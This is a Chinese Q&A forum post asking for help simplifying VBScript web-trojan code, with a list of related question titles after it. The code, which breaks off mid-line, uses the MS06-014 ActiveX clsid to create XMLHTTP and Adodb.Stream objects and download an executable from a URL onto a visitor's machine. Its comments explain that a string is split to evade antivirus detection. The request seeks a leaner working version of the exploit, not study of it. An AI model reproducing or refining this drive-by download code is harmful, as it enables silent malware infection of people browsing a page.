简化VBscript代码（网页木马） 专业进

简化这段代码 只要有用的 能实现功能就行。例如把字符串“Adodb.Stream”分开那段就可以不要。
on error resume next '开启错误陷阱
dl = "http://www.baidu.com/go.exe" '定义“dl”为木马下载地址
Set df = document.createElement("object") '建立子元素
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" 声明网马的clsid，这个是ms06014的
str="Microsoft.XMLHTTP" 使用XMLhttp对象
Set x = df.CreateObject(str,"") '用Adodb.Stream执行文件操作
a1="Ado" '下面这三个的作用是拆分字符串“Adodb.Stream”，躲过一些杀毒软件查杀
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4 '合并字符串“Adodb.Stream”
str5=str1 '转移变量str1到str5
set S = df.createobject(str5,"") '执行文件操作
S.type = 1
str6="GET" '使用get方式获取木马文件
x.Open str6, dl, False '根据木马地址获取木马文件
x.Send
fname1="g0ld.com&quo

简化VBscript代码（网页木马） 专业进 如何简化这个网页代码? 求详解VBscript代码（网页木马） 专业进 此代码如何简化 VBscript代码什么意思? VBScript 代码问题 vbscript代码问题 vbscript代码请教 excel vba代码能否简化？ asp vbscript sql代码换行